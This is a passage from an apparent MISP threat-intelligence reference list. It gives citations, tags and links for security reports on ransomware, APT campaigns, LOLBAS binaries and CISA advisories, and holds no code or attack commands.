https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/

FBI Social Engineering Attacks June 24 2024

Federal Bureau of Investigation. (2024, June 24). Social Engineering Tactics Targeting Healthcare & Public Health Entities and Providers. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="FBI Social Engineering Attacks June 24 2024"*

Table 23133. Table References

Links
https://www.ic3.gov/Media/News/2024/240624.pdf

Security Joes Sockbot March 09 2022

Felipe Duarte, Ido Naor. (2022, March 9). Sockbot in GoLand. Retrieved September 22, 2023.

The tag is: *misp-galaxy:references="Security Joes Sockbot March 09 2022"*

Table 23134. Table References

Links
https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf

DFIR_Sodinokibi_Ransomware

DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.

The tag is: *misp-galaxy:references="DFIR_Sodinokibi_Ransomware"*

Table 23135. Table References

Links

https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/

Kaspersky Sodin July 2019

Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Kaspersky Sodin July 2019"*

Table 23136. Table References

Links
https://securelist.com/sodin-ransomware/91473/

Kaspersky Sofacy

Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.

The tag is: *misp-galaxy:references="Kaspersky Sofacy"*

Table 23137. Table References

Links
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

Unit 42 Sofacy Feb 2018

Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.

The tag is: *misp-galaxy:references="Unit 42 Sofacy Feb 2018"*

Table 23138. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/

Unit 42 Sofacy Nov 2018

Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New 'Cannon' Trojan. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Unit 42 Sofacy Nov 2018"*

Table 23139. Table References

Links
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/

Unit42 Cannon Nov 2018

Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.

The tag is: *misp-galaxy:references="Unit42 Cannon Nov 2018"*

Table 23140. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/

Palo Alto Sofacy 06-2018

Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.

The tag is: *misp-galaxy:references="Palo Alto Sofacy 06-2018"*

Table 23141. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

F-Secure Sofacy 2015

F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="F-Secure Sofacy 2015"*

Table 23142. Table References

Links
https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/

Sofacy Komplex Trojan

Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy’s 'Komplex' OS X Trojan. Retrieved July 8, 2017.

The tag is: *misp-galaxy:references="Sofacy Komplex Trojan"*

Table 23143. Table References

Links
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Sofacy DealersChoice

Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.

The tag is: *misp-galaxy:references="Sofacy DealersChoice"*

Table 23144. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/

SoftPerfect Network Scanner Product Page

SoftPerfect. (2024, July 4). SoftPerfect Network Scanner Product Page. Retrieved October 6, 2024.

The tag is: *misp-galaxy:references="SoftPerfect Network Scanner Product Page"*

Table 23145. Table References

Links
https://www.softperfect.com/products/networkscanner/

Sogeti Global February 28 2024

Sogeti. (n.d.). Sogeti CERT ESEC Babuk March 2021. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Sogeti Global February 28 2024"*

Table 23146. Table References

Links
https://www.sogeti.com/globalassets/common/other/cert-sogeti-esec/cybersec-chronicles/tlp-white-cybersecchronicles---babuk.pdf

Unit 42 SolarStorm December 2020

Unit 42. (2020, December 23). SolarStorm Supply Chain Attack Timeline. Retrieved March 24, 2023.

The tag is: *misp-galaxy:references="Unit 42 SolarStorm December 2020"*

Table 23147. Table References

Links

https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline/

Symantec Sunburst Sending Data January 2021

Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. Retrieved January 22, 2021.

The tag is: *misp-galaxy:references="Symantec Sunburst Sending Data January 2021"*

Table 23148. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data

Carnegie Mellon University Supernova Dec 2020

Carnegie Mellon University. (2020, December 26). SolarWinds Orion API authentication bypass allows remote command execution. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Carnegie Mellon University Supernova Dec 2020"*

Table 23149. Table References

Links
https://www.kb.cert.org/vuls/id/843464

SolarWinds Advisory Dec 2020

SolarWinds. (2020, December 24). SolarWinds Security Advisory. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="SolarWinds Advisory Dec 2020"*

Table 23150. Table References

Links
https://www.solarwinds.com/sa-overview/securityadvisory

solution_monitor_dhcp_scopes

Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="solution_monitor_dhcp_scopes"*

Table 23151. Table References

Links

https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/

Sekoia.io Blog July 23 2024

Sekoia TDR; Felix Aimé; Pierre-Antoine D; Charles M; Grégoire Clermont; Jeremy Scion. (2024, July 23). Solving the 7777 Botnet enigma A cybersecurity quest. Retrieved July 24, 2024.

The tag is: *misp-galaxy:references="Sekoia.io Blog July 23 2024"*

Table 23152. Table References

Links
https://blog.sekoia.io/solving-the-7777-botnet-enigma-a-cybersecurity-quest/

sophos-bombing

Mark Parsons, Colin Cowie, Daniel Souter, Hunter Neal, Anthony Bradshaw, Sean Gallagher. (2025, January 21). Sophos MDR tracks two ransomware campaigns using “email bombing,” Microsoft Teams “vishing”. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="sophos-bombing"*

Table 23153. Table References

Links
https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/

Sophos X-Ops Tweet September 13 2023

SophosXOps. (2023, September 13). Sophos X-Ops Tweet September 13 2023. Retrieved September 22, 2023.

The tag is: *misp-galaxy:references="Sophos X-Ops Tweet September 13 2023"*

Table 23154. Table References

Links
https://twitter.com/SophosXOps/status/1702051374287007923

Source Manual

ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.

The tag is: *misp-galaxy:references="Source Manual"*

Table 23155. Table References

Links
https://ss64.com/bash/source.html

FireEye Southeast Asia Threat Landscape March 2015

FireEye. (2015, March). SOUTHEAST ASIA: AN EVOLVING CYBER THREAT LANDSCAPE. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="FireEye Southeast Asia Threat Landscape March 2015"*

Table 23156. Table References

Links
https://web.archive.org/web/20220122121143/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf

Symantec Sowbug Nov 2017

Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Symantec Sowbug Nov 2017"*

Table 23157. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

NIST 800-63-3

Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.

The tag is: *misp-galaxy:references="NIST 800-63-3"*

Table 23158. Table References

Links
https://pages.nist.gov/800-63-3/sp800-63b.html

Threatpost Hancitor

Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020.

The tag is: *misp-galaxy:references="Threatpost Hancitor"*

Table 23159. Table References

Links
https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/

CheckPoint SpeakUp Feb 2019

Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="CheckPoint SpeakUp Feb 2019"*

Table 23160. Table References

Links
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Cyfirma Kimsuky Spear Phishing

Cyfirma. (2020, December 16). Spear Phishing Attack by N. Korean Hacking Group, Kimsuky. Retrieved October 30, 2023.

The tag is: *misp-galaxy:references="Cyfirma Kimsuky Spear Phishing"*

Table 23161. Table References

Links
https://www.cyfirma.com/outofband/n-korean-hacking-group-kimsuky-escalates-attacks/

Palo Alto Unit 42 OutSteel SaintBot February 2022

Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.

The tag is: *misp-galaxy:references="Palo Alto Unit 42 OutSteel SaintBot February 2022"*

Table 23162. Table References

Links
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/

Zscaler Bazar September 2020

Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020.

The tag is: *misp-galaxy:references="Zscaler Bazar September 2020"*

Table 23163. Table References

Links
https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware

Reaqta MSXSL Spearphishing MAR 2018

Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="Reaqta MSXSL Spearphishing MAR 2018"*

Table 23164. Table References

Links
https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/

FireEye Regsvr32 Targeting Mongolian Gov

Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017.

The tag is: *misp-galaxy:references="FireEye Regsvr32 Targeting Mongolian Gov"*

Table 23165. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html

FireEye admin@338 March 2014

Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.

The tag is: *misp-galaxy:references="FireEye admin@338 March 2014"*

Table 23166. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html

Microsoft File Handlers

Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.

The tag is: *misp-galaxy:references="Microsoft File Handlers"*

Table 23167. Table References

Links
http://msdn.microsoft.com/en-us/library/bb166549.aspx

GTFO split

GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.

The tag is: *misp-galaxy:references="GTFO split"*

Table 23168. Table References

Links
https://gtfobins.github.io/gtfobins/split/

split man page

Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="split man page"*

Table 23169. Table References

Links
https://man7.org/linux/man-pages/man1/split.1.html

Spoofing credential dialogs

Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.

The tag is: *misp-galaxy:references="Spoofing credential dialogs"*

Table 23170. Table References

Links
https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/

Infosecinstitute RTLO Technique

Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Infosecinstitute RTLO Technique"*

Table 23171. Table References

Links
https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/

BBC-malvertising

BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="BBC-malvertising"*

Table 23172. Table References

Links
https://www.bbc.com/news/technology-12891182

NSA Spotting

National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.

The tag is: *misp-galaxy:references="NSA Spotting"*

Table 23173. Table References

Links
https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm

Elastic Latrodectus May 2024

Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Elastic Latrodectus May 2024"*

Table 23174. Table References

Links
https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus

Symantec Troll Stealer 2024

Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="Symantec Troll Stealer 2024"*

Table 23175. Table References

Links
https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage

Villeneuve 2014

Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.

The tag is: *misp-galaxy:references="Villeneuve 2014"*

Table 23176. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

Sqldumper.exe - LOLBAS Project

LOLBAS. (2018, May 25). Sqldumper.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Sqldumper.exe - LOLBAS Project"*

Table 23177. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqldumper/

sqlmap Introduction

Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="sqlmap Introduction"*

Table 23178. Table References

Links
http://sqlmap.org/

Sqlps.exe - LOLBAS Project

LOLBAS. (2018, May 25). Sqlps.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Sqlps.exe - LOLBAS Project"*

Table 23179. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/

SQLToolsPS.exe - LOLBAS Project

LOLBAS. (2018, May 25). SQLToolsPS.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="SQLToolsPS.exe - LOLBAS Project"*

Table 23180. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqltoolsps/

Squirrel.exe - LOLBAS Project

LOLBAS. (2019, June 26). Squirrel.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Squirrel.exe - LOLBAS Project"*

Table 23181. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Squirrel/

ZScaler Squirrelwaffle Sep 2021

Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022.

The tag is: *misp-galaxy:references="ZScaler Squirrelwaffle Sep 2021"*

Table 23182. Table References

Links
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike

Netskope Squirrelwaffle Oct 2021

Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022.

The tag is: *misp-galaxy:references="Netskope Squirrelwaffle Oct 2021"*

Table 23183. Table References

Links
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot

SRWare Iron

SRWare. (n.d.). SRWare Iron. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="SRWare Iron"*

Table 23184. Table References

Links
https://www.srware.net/iron/

Clockwork SSH Agent Hijacking

Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Clockwork SSH Agent Hijacking"*

Table 23185. Table References

Links
https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

Symantec SSH and ssh-agent

Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.

The tag is: *misp-galaxy:references="Symantec SSH and ssh-agent"*

Table 23186. Table References

Links
https://www.symantec.com/connect/articles/ssh-and-ssh-agent

ssh.exe - LOLBAS Project

LOLBAS. (2021, November 8). ssh.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="ssh.exe - LOLBAS Project"*

Table 23187. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ssh/

SSH Secure Shell

SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.

The tag is: *misp-galaxy:references="SSH Secure Shell"*

Table 23188. Table References

Links
https://www.ssh.com/ssh

SSH Tunneling

SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.

The tag is: *misp-galaxy:references="SSH Tunneling"*

Table 23189. Table References

Links
https://www.ssh.com/ssh/tunneling

SSLShopper Lookup

SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="SSLShopper Lookup"*

Table 23190. Table References

Links
https://www.sslshopper.com/ssl-checker.html

Ubuntu SSSD Docs

Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Ubuntu SSSD Docs"*

Table 23191. Table References

Links
https://ubuntu.com/server/docs/service-sssd

Stantinko Botnet

Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.

The tag is: *misp-galaxy:references="Stantinko Botnet"*

Table 23192. Table References

Links
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/

StarBlizzard

Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.

The tag is: *misp-galaxy:references="StarBlizzard"*

Table 23193. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/

Amazon AWS

Amazon. (n.d.). Start Building on AWS Today. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Amazon AWS"*

Table 23194. Table References

Links
https://aws.amazon.com

Docker Systemd

Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="Docker Systemd"*

Table 23195. Table References

Links
https://docs.docker.com/config/containers/start-containers-automatically/

Startup Items

Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.

The tag is: *misp-galaxy:references="Startup Items"*

Table 23196. Table References

Links

https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html

Microsoft Safe Mode

Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="Microsoft Safe Mode"*

Table 23197. Table References

Links
https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234

Mandiant APT41

Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.

The tag is: *misp-galaxy:references="Mandiant APT41"*

Table 23198. Table References

Links
https://www.mandiant.com/resources/apt41-us-state-governments

Google Cloud APT41 2022

Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Google Cloud APT41 2022"*

Table 23199. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments

Czech Republic Cyber Attack Statement May 28 2025

Czech Foreign Ministry. (2025, May 28). Statement by the Government of the Czech Republic on the Cyber Attack from the People´s Republic of China. Retrieved June 2, 2025.

The tag is: *misp-galaxy:references="Czech Republic Cyber Attack Statement May 28 2025"*

Table 23200. Table References

Links
https://mzv.gov.cz/jnp/en/issues_and_press/press_releases/statement_by_the_government_of_the_czech.html

Twitter SquiblyTwo Detection APR 2018

Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="Twitter SquiblyTwo Detection APR 2018"*

Table 23201. Table References

Links
https://x.com/dez_/status/986614411711442944

MSFT-AI

Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.

The tag is: *misp-galaxy:references="MSFT-AI"*

Table 23202. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/

Google Cloud Threat Intelligence DPRK IT Workers 2024

Codi Starks, Michael Barnhart, Taylor Long, Mike Lombardi, Joseph Pisano, and Alice Revelli. (2024, September 23). Staying a Step Ahead: Mitigating the DPRK IT Worker Threat. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Google Cloud Threat Intelligence DPRK IT Workers 2024"*

Table 23203. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/mitigating-dprk-it-worker-threat/

Mandiant Endpoint Evading 2019

Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.

The tag is: *misp-galaxy:references="Mandiant Endpoint Evading 2019"*

Table 23204. Table References

Links
https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

Double Timestomping

Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="Double Timestomping"*

Table 23205. Table References

Links
https://x.com/matthewdunwoody/status/1519846657646604289

Sekoia.io Stealc February 20 2023

Quentin Bourgue, Pierre Le Bourhis, Threat & Detection Research Team. (2023, February 20). Stealc: a copycat of Vidar and Raccoon infostealers gaining in popularity – Part 1. Retrieved July 28, 2023.

The tag is: *misp-galaxy:references="Sekoia.io Stealc February 20 2023"*

Table 23206. Table References

Links
https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/

Sekoia.io Stealc February 27 2023

Pierre Le Bourhis, Quentin Bourgue, Threat & Detection Research Team. (2023, February 27). Stealc: a copycat of Vidar and Raccoon infostealers gaining in popularity – Part 2. Retrieved July 28, 2023.

The tag is: *misp-galaxy:references="Sekoia.io Stealc February 27 2023"*

Table 23207. Table References

Links
https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/

AADInternals Azure AD Device Identities

Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.

The tag is: *misp-galaxy:references="AADInternals Azure AD Device Identities"*

Table 23208. Table References

Links
https://aadinternals.com/post/deviceidentity/

O365 Blog Azure AD Device IDs

Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022.

The tag is: *misp-galaxy:references="O365 Blog Azure AD Device IDs"*

Table 23209. Table References

Links
https://o365blog.com/post/deviceidentity/

Carnal Ownage Password Filters Sept 2013

Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Carnal Ownage Password Filters Sept 2013"*

Table 23210. Table References

Links
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

CSM Elderwood Sept 2012

Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.

The tag is: *misp-galaxy:references="CSM Elderwood Sept 2012"*

Table 23211. Table References

Links
https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China

Low GroupIB xattrs nov 2024

Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Low GroupIB xattrs nov 2024"*

Table 23212. Table References

Links
https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/

wailing crab sub/pub

Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.

The tag is: *misp-galaxy:references="wailing crab sub/pub"*

Table 23213. Table References

Links
https://securityintelligence.com/x-force/wailingcrab-malware-misues-mqtt-messaging-protocol/

DEFCON2016 Sticky Keys

Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="DEFCON2016 Sticky Keys"*

Table 23214. Table References

Links
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom

The DFIR Report Stolen Images Conti

The DFIR Report. (2023, April 4). Stolen Images Campaign Ends in Conti Ransomware. Retrieved June 23, 2023.

The tag is: *misp-galaxy:references="The DFIR Report Stolen Images Conti"*

Table 23215. Table References

Links
https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/

Netscout Stolen Pencil Dec 2018

ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.

The tag is: *misp-galaxy:references="Netscout Stolen Pencil Dec 2018"*

Table 23216. Table References

Links
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/

FireEye VBA stomp Feb 2020

Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.

The tag is: *misp-galaxy:references="FireEye VBA stomp Feb 2020"*

Table 23217. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html

Symantec Stonefly April 27 2022

Threat Hunter Team. (2022, April 27). Stonefly: North Korea-linked Spying Operation Continues to Hit High-value Targets. Retrieved July 26, 2024.

The tag is: *misp-galaxy:references="Symantec Stonefly April 27 2022"*

Table 23218. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/stonefly-north-korea-espionage

Stopping CloudTrail from Sending Events to CloudWatch Logs

Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Stopping CloudTrail from Sending Events to CloudWatch Logs"*

Table 23219. Table References

Links

https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html

McAfee Virtual Jan 2017

Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="McAfee Virtual Jan 2017"*

Table 23220. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/

Checkpoint Dridex Jan 2021

Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.

The tag is: *misp-galaxy:references="Checkpoint Dridex Jan 2021"*

Table 23221. Table References

Links
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/

CISA Akira Ransomware APR 2024

CISA et al. (2024, April 18). #StopRansomware: Akira Ransomware. Retrieved December 10, 2024.

The tag is: *misp-galaxy:references="CISA Akira Ransomware APR 2024"*

Table 23222. Table References

Links
https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf

U.S. CISA Akira April 18 2024

Cybersecurity and Infrastructure Security Agency. (2024, April 18). #StopRansomware: Akira Ransomware. Retrieved April 19, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Akira April 18 2024"*

Table 23223. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a

U.S. CISA ALPHV Blackcat December 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 19). #StopRansomware: ALPHV Blackcat. Retrieved December 19, 2023.

The tag is: *misp-galaxy:references="U.S. CISA ALPHV Blackcat December 2023"*

Table 23224. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-353a

U.S. CISA AvosLocker October 11 2023

Cybersecurity and Infrastructure Security Agency. (2023, October 11). #StopRansomware: AvosLocker Ransomware (Update). Retrieved October 20, 2023.

The tag is: *misp-galaxy:references="U.S. CISA AvosLocker October 11 2023"*

Table 23225. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-284a

U.S. CISA BianLian Ransomware May 2023

Cybersecurity and Infrastructure Security Agency. (2023, May 16). #StopRansomware: BianLian Ransomware Group. Retrieved May 18, 2023.

The tag is: *misp-galaxy:references="U.S. CISA BianLian Ransomware May 2023"*

Table 23226. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a

U.S. CISA Black Basta May 10 2024

Cybersecurity and Infrastructure Security Agency. (2024, May 10). #StopRansomware: Black Basta. Retrieved May 13, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Black Basta May 10 2024"*

Table 23227. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a

U.S. CISA CL0P CVE-2023-34362 Exploitation

